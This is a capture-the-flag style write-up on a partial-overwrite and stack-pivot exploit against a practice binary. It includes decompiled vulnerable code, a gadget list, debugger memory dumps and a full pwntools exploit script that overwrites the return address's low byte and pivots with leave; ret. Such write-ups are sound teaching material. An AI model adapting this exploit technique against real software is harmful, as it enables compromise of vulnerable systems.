Partial Overwrite
Overwriting the LSB of a address or register (E.g RIP)
We have a binary with PIE & NX enabled.

Looking at the source code, we can determine that we have a win_ptr and a obvious buffer_overflow with leak to buffer.
void challenge(void)
{
int win;
void *win_ptr;
ssize_t input;
undefined8 input_buffer;
undefined8 local_28;
undefined8 local_20;
undefined8 local_18;
undefined4 local_c;
input_buffer = 0;
local_28 = 0;
local_20 = 0;
local_18 = 0;
printf("[LEAK] Your input buffer is located at: %p.\n\n ",&input_buffer);
win_ptr = mmap((void *)0x0,312,3,34,0,0);
memcpy(win_ptr,&DAT_00103038,312);
result= mprotect(win_ptr,312,5);
if (result != 0) {
__assert_fail("mprotect(data.win_addr, 0x138, PROT _READ|PROT_EXEC) == 0","<stdin>",42,
"challenge");
}
input = read(0,&input_buffer,4096);
local_c = (undefined4)input;
puts("Leaving!");
return;
}
Since we have a buffer overflow, we can attempt to control RIP to try to stack pivot to our controlled buffer (input_buffer) where we can potentially place our ROP chain. Let's first look for a stack pivoting gadget by filtering for anything that deals with rsp.
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
0x00000000000020bd: add al, ch; sbb eax, 0xb8fffff0; add byte ptr [rax], al; add byte ptr [rax], al; leave; ret;
0x00000000000020c4: add byte ptr [rax], al; add byte ptr [rax], al; leave; ret;
0x00000000000020bc: add byte ptr [rax], al; call 0x10e0; mov eax, 0; leave; ret;
0x0000000000002008: add byte ptr [rax], al; call 0x10e0; nop; leave; ret;
0x00000000000020c6: add byte ptr [rax], al; leave; ret;
0x00000000000020be: call 0x10e0; mov eax, 0; leave; ret;
0x000000000000200a: call 0x10e0; nop; leave; ret;
0x0000000000002005: cmp eax, 0x10bf; call 0x10e0; nop; leave; ret;
0x0000000000001fff: dec dword ptr [rcx - 0x72b703bb]; cmp eax, 0x10bf; call 0x10e0; nop; leave; ret;
0x0000000000002004: lea edi, [rip + 0x10bf]; call 0x10e0; nop; leave; ret;
0x0000000000002003: lea rdi, [rip + 0x10bf]; call 0x10e0; nop; leave; ret;
0x0000000000002000: mov dword ptr [rbp - 4], eax; lea rdi, [rip + 0x10bf]; call 0x10e0; nop; leave; ret;
0x00000000000020c3: mov eax, 0; leave; ret;
0x00000000000020bf: sbb eax, 0xb8fffff0; add byte ptr [rax], al; add byte ptr [rax], al; leave; ret;
0x0000000000002002: cld; lea rdi, [rip + 0x10bf]; call 0x10e0; nop; leave; ret;
0x0000000000002010: leave; ret;
0x000000000000200f: nop; leave; ret;We can use the leave; ret gadget since we control RBP and RIP.
We can also determine what is the offset from our leak the win pointer is by using a debugger like pwndbg
pwndbg> x/50gx 0x7ffcfa741500
0x7ffcfa741500: 0x0000000000000d68 0x00007f4f31ba8951
0x7ffcfa741510: 0x0000000000000d68 0x000000000000000a
0x7ffcfa741520: 0x00007f4f31d056a0 0x0000560df5fe30c9
0x7ffcfa741530: 0x0000560df5fe5010 0x00007f4f31d014a0
0x7ffcfa741540: 0x0000000000000000 0x00007f4f31ba8e93
0x7ffcfa741550: 0x0000000000000008 0x00007f4f31d056a0
0x7ffcfa741560: 0x0000560df5fe30c9 0x00007f4f31b9c59a
0x7ffcfa741570: 0x0000560df5fe20d0 0x00007ffcfa7415f0
0x7ffcfa741580: 0x0000560df5fe1160 0x00007ffcfa741710
0x7ffcfa741590: 0x0000000000000000 0x0000560df5fe200f
0x7ffcfa7415a0: 0x0000000000000000 0x00007ffcfa741728
0x7ffcfa7415b0: 0x00007ffcfa741718 0x0000000131ba653d
0x7ffcfa7415c0: 0
0x7ffcfa7415d0: 0x4949494949494949 0x4949494949494949
0x7ffcfa7415e0: 0x4949494949494949 0x0000017149494949
0x7ffcfa7415f0: 0x494e494949494949 0x4949494949494949
0x7ffcfa741600: 0x4949494949494949 0x4949494949494949
0x7ffcfa741610: 0x4949494949494949 0x4949494949494949
0x7ffcfa741620: 0x4949494e49494949 0x4949494949494949
0x7ffcfa741630: 0x4949494949494949 0x4949494949494949
0x7ffcfa741640: 0x4949494949494949 0x4949494949494949
0x7ffcfa741650: 0x49494949494e4949 0x4949494949494949
0x7ffcfa741660: 0x4949494949494949 0x4949494949494949
0x7ffcfa741670: 0x4949494949494949 0x4949494949494949
0x7ffcfa741680: 0x494949494949494e 0x4949494949494949
pwndbg> x/10gx 0x00007f4f31d38000
0x7f4f31d38000: 0x00ec8148e5894855 0x010101b848000001
0x7f4f31d38010: 0xb848500101010101 0x01010166606d672e
0x7f4f31d38020: 0x31e7894824043148 0x050f58026af631d2
0x7f4f31d38030: 0xb6d231c031c78948 0x016a050fe6894801
0x7f4f31d38040: 0x6ae68948c289485fKnowing that we can simply "pivot" to the win pointer, we can come up with the following exploit chain.
Exploit Flow
Partial Overwrite last byte to go to our leave; ret gadget
Set RBP to an offset of leak-0x10 to account for POP RBP in leave; ret of the challenge function prologue
Execute leave; ret again via gadget so that we pivot to our win pointer and win
#!/usr/bin/env python3
from pwn import *
exe = ELF("./ni")
# libc = ELF("./libc.so.6")
# ld = ELF("./ld-linux-x86-64.so.2")
context.binary = exe
def conn():
while True:
try:
r = process([exe.path], aslr=True)
gdb.attach(r)
offset = 48
r.recvuntil(b'[LEAK] Your input buffer is located at: ')
leak = r.recvline()[:-2]
leak = int(leak, 16)
r.clean()
print(f"Input Buffer Leak : {hex(leak)}")
payload = b'A' * 40
payload += p64(leak-0x10)
payload += b'\x10\x00'
r.send(payload)
r.recvuntil(b'Leaving!')
result = r.recvline()
if b'hehehaha' in result:
print(result)
break
except Exception as e:
continue
def main():
r = conn()
r.interactive()
if __name__ == "__main__":
main()
What I learned
RSP is adjusted each time a pop/push instruction is executed
for pop gadgets, the values don't have to be user-controlled/valid, stack always have garbage values - as long the pop gadgets are not used for a syscall etc
Think about what registers i have control of and how do i manipulate it to point to where i want (rsp -/+ offset so that i can align my pop gadgets properly and retn to the right ptr?)
Dont be fixed in terms of looking for certain gadgets (e.g lea rsp, [rbp - 0x18]; pop rbx; pop r12; pop r13; pop rbp; ret; - can be used for pivoting too)
Last updated